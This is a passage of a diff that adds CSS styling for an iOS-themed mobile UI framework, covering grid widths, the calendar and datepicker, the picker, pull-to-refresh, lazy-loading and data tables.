.desktop-auto:nth-last-child(13), + .ios .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .desktop-auto:nth-last-child(13), + .ios .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .ios .row .desktop-auto:nth-last-child(14), + .ios .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .desktop-auto:nth-last-child(14), + .ios .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .ios .row .desktop-auto:nth-last-child(15), + .ios .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .desktop-auto:nth-last-child(15), + .ios .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .ios .row .desktop-auto:nth-last-child(16), + .ios .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .desktop-auto:nth-last-child(16), + .ios .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .ios .row .desktop-auto:nth-last-child(17), + .ios .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .desktop-auto:nth-last-child(17), + .ios .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .ios .row .desktop-auto:nth-last-child(18), + .ios .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .desktop-auto:nth-last-child(18), + .ios .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .ios .row .desktop-auto:nth-last-child(19), + .ios .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .desktop-auto:nth-last-child(19), + .ios .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .ios .row .desktop-auto:nth-last-child(20), + .ios .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-auto:nth-last-child(20), + .ios .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(21), + .ios .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .desktop-auto:nth-last-child(21), + .ios .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.ios .calendar-header { + height: 44px; + background: #f7f7f8; + font-size: 17px; + line-height: 44px; + font-weight: 600; + padding: 0 8px; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.ios .calendar-footer { + position: relative; + padding: 0 8px; + width: 100%; + height: 44px; + background: #f7f7f8; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 17px; +} +.ios .calendar-footer:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-week-header { + background: #f7f7f8; + height: 18px; +} +.ios .calendar-week-header .calendar-week-day { + line-height: 18px; +} +.ios .calendar-row:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-row:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-row:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-day { + font-size: 15px; +} +.ios .calendar-day.calendar-day-today span { + background: #e3e3e3; +} +.ios .calendar-day.calendar-day-has-events span:after { + background: #007aff; +} +.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.ios .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .calendar-day span { + width: 30px; + height: 30px; + line-height: 30px; +} +.ios .calendar-month-selector a.icon-only, +.ios .calendar-year-selector a.icon-only { + min-width: 36px; +} +.ios .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-sheet { + background: #fff; +} +.ios .calendar-sheet:before { + z-index: 600; +} +.ios .calendar-sheet .toolbar:before { + display: none !important; +} +.ios .calendar-modal .toolbar:before, +.ios .calendar-popover .toolbar:before { + display: none !important; +} +.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before, +.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before { + display: none !important; +} +.ios .calendar-popover .toolbar { + background: none; +} +.ios .calendar-popover .calendar-week-header, +.ios .calendar-popover .calendar-header, +.ios .calendar-popover .calendar-footer { + background: none; +} +.ios.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-left.calendar .calendar-row, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-left.calendar .calendar-week-header, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-right-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-right.calendar .calendar-row, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-right.calendar .calendar-week-header, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.ios .theme-dark .calendar .calendar-header, +.calendar.ios .theme-dark .calendar-header, +.ios .theme-dark .calendar .calendar-week-header, +.calendar.ios .theme-dark .calendar-week-header, +.ios .theme-dark .calendar .calendar-footer, +.calendar.ios .theme-dark .calendar-footer { + background-color: #1b1b1b; +} +.ios .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.ios .theme-dark .calendar-footer:before, +.ios .theme-dark .calendar-row:before, +.ios .theme-dark .calendar-sheet:before { + background-color: #282829; +} +.ios .theme-dark .calendar-day { + color: #fff; +} +.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span { + background: #333; +} +.ios .theme-dark .calendar-day.calendar-day-disabled { + color: #8E8E93; +} +.ios .theme-dark .calendar-day.calendar-day-prev, +.ios .theme-dark .calendar-day.calendar-day-next { + color: #555; +} +.ios .theme-dark .calendar-modal, +.calendar-modal.ios .theme-dark, +.ios .theme-dark .calendar-sheet { + background: #171717; +} +.ios .color-theme-red .calendar-day.calendar-day-selected span, +.ios .color-red .calendar-day.calendar-day-selected span { + background: #ff3b30; +} +.ios .color-theme-green .calendar-day.calendar-day-selected span, +.ios .color-green .calendar-day.calendar-day-selected span { + background: #4cd964; +} +.ios .color-theme-blue .calendar-day.calendar-day-selected span, +.ios .color-blue .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .color-theme-pink .calendar-day.calendar-day-selected span, +.ios .color-pink .calendar-day.calendar-day-selected span { + background: #ff2d55; +} +.ios .color-theme-yellow .calendar-day.calendar-day-selected span, +.ios .color-yellow .calendar-day.calendar-day-selected span { + background: #ffcc00; +} +.ios .color-theme-orange .calendar-day.calendar-day-selected span, +.ios .color-orange .calendar-day.calendar-day-selected span { + background: #ff9500; +} +.ios .color-theme-gray .calendar-day.calendar-day-selected span, +.ios .color-gray .calendar-day.calendar-day-selected span { + background: #8e8e93; +} +.ios .color-theme-white .calendar-day.calendar-day-selected span, +.ios .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; +} +.ios .color-theme-black .calendar-day.calendar-day-selected span, +.ios .color-black .calendar-day.calendar-day-selected span { + background: #000000; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + right: 100%; +} +.picker-column.picker-column-last:after { + left: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.ios .picker-columns { + font-size: 24px; +} +.ios .picker-column-divider { + color: #000; +} +.ios .picker-item { + color: #707274; +} +.ios .picker-item.picker-item-selected { + color: #000; +} +.ios .picker-popover .toolbar { + background: none; +} +.ios .picker-popover .toolbar:before { + display: none !important; +} +.ios .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 44px); +} +.ios .picker-popover .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:after { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-center-highlight:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-center-highlight:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .picker-item.picker-item-selected { + color: #fff; +} +.ios .theme-dark .picker-popover .toolbar:after, +.picker-popover.ios .theme-dark .toolbar:after { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:before { + background-color: #282829; +} +.ios .theme-dark .picker-center-highlight:after { + background-color: #282829; +} +/* === Infinite === */ +.infinite-scroll-preloader { + margin-left: auto; + margin-right: auto; + text-align: center; +} +.infinite-scroll-preloader.preloader { + display: block; +} +.ios .infinite-scroll-preloader { + margin-top: 35px; + margin-bottom: 35px; +} +.ios .infinite-scroll-preloader .preloader, +.ios .infinite-scroll-preloader.preloader { + width: 27px; + height: 27px; +} +/* === PTR === */ +.ptr-preloader .preloader { + position: absolute; + left: 50%; +} +.ios .ptr-preloader { + position: relative; + height: 44px; + margin-top: -44px; + width: 100%; + left: 0; + top: 0; +} +.ios .ptr-preloader .preloader { + width: 27px; + height: 27px; + margin-left: -13px; + margin-top: -13px; + visibility: hidden; + top: 50%; +} +.ios .ptr-arrow { + position: absolute; + left: 50%; + top: 50%; + background: no-repeat center; + z-index: 10; + -webkit-transform: rotate(0deg) translate3d(0, 0, 0); + transform: rotate(0deg) translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + width: 13px; + height: 20px; + margin-left: -6px; + margin-top: -10px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 20px; + visibility: visible; +} +.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader { + -webkit-animation: none; + animation: none; +} +.ios .ptr-transitioning, +.ios .ptr-refreshing { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.ios .ptr-refreshing { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .ptr-refreshing .ptr-arrow { + visibility: hidden; +} +.ios .ptr-refreshing .ptr-preloader .preloader { + visibility: visible; +} +.ios .ptr-pull-up .ptr-arrow { + -webkit-transform: rotate(180deg) translate3d(0, 0, 0); + transform: rotate(180deg) translate3d(0, 0, 0); +} +.ios .ptr-no-navbar { + margin-top: -44px; + height: calc(100% + 44px); +} +.ios .ptr-no-navbar .ptr-preloader { + margin-top: 0; +} +/* === Images Lazy Loading === */ +.lazy-loaded.lazy-fade-in { + -webkit-animation: lazyFadeIn 600ms; + animation: lazyFadeIn 600ms; +} +@-webkit-keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes lazyFadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +/* === Data Table === */ +.data-table { + overflow-x: auto; +} +.data-table table { + width: 100%; + border: none; + padding: 0; + margin: 0; + border-collapse: collapse; + text-align: left; +} +.data-table thead { + font-size: 12px; +} +.data-table thead th, +.data-table thead td { + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + line-height: 16px; +} +.data-table thead i.icon, +.data-table thead i.f7-icons, +.data-table thead i.material-icons { + vertical-align: top; +} +.data-table th, +.data-table td { + padding: 0; + position: relative; +} +.data-table th.numeric-cell, +.data-table td.numeric-cell { + text-align: right; +} +.data-table th.checkbox-cell, +.data-table td.checkbox-cell { + overflow: visible; +} +.data-table th.checkbox-cell label + span, +.data-table td.checkbox-cell label + span { + margin-left: 8px; +} +.data-table th.actions-cell, +.data-table td.actions-cell { + text-align: right; + white-space: nowrap; +} +.data-table th a.icon-only, +.data-table td a.icon-only, +.card .data-table th a.icon-only, +.card .data-table td a.icon-only, +.card.data-table th a.icon-only, +.card.data-table td a.icon-only { + display: inline-block; + vertical-align: middle; + text-align: center; + font-size: 0; + min-width: 0; +} +.data-table th a.icon-only i, +.data-table td a.icon-only i, +.card .data-table th a.icon-only i, +.card .data-table td a.icon-only i, +.card.data-table th a.icon-only i, +.card.data-table td a.icon-only i { + font-size: 18px; + vertical-align: middle; +} +.data-table .sortable-cell:not(.input-cell) { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell.input-cell .table-head-label { + cursor: pointer; + position: relative; +} +.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after, +.data-table .sortable-cell.numeric-cell:not(.input-cell):before, +.data-table .sortable-cell:not(.numeric-cell).input-cell > .table-head-label:after, +.data-table .sortable-cell.numeric-cell.input-cell > .table-head-label:before { + content: ''; + display: inline-block; + vertical-align: top; + width: 16px; + height: 16px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-size: 0; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: rotate(0); + transform: rotate(0); + opacity: 0; +} +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before, +html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before { + opacity: 0.54; +} +.data-table .sortable-cell.sortable-cell-active:after, +.data-table .sortable-cell.sortable-cell-active .table-head-label:after, +.data-table .sortable-cell.sortable-cell-active:before, +.data-table .sortable-cell.sortable-cell-active .table-head-label:before { + opacity: 0.87 !important; +} +.data-table .sortable-cell.sortable-desc:after, +.data-table .sortable-cell.sortable-desc:after, +.data-table .table-head-label:after, +.data-table .sortable-cell.sortable-desc:before, +.data-table .sortable-cell.sortable-desc:before, +.data-table .table-head-label:before { + -webkit-transform: rotate(180deg) !important; + transform: rotate(180deg) !important; +} +.data-table.card .card-header, +.card .data-table .card-header { + height: 64px; +} +.data-table.card .card-content, +.card .data-table .card-content { + overflow-x: auto; +} +.data-table .data-table-links, +.data-table .data-table-actions { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-actions { + margin-left: auto; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.data-table .data-table-actions a.link { + min-width: 0; +} +.data-table .data-table-actions a.link.icon-only { + line-height: 1; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; +} +.data-table .data-table-header, +.data-table .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 100%; +} +.data-table .data-table-header-selected { + display: none; +} +.data-table.data-table-has-checked .data-table-header { + display: none; +} +.data-table.data-table-has-checked .data-table-header-selected { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.data-table .data-table-title-selected { + font-size: 14px; +} +.data-table .data-table-footer { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + 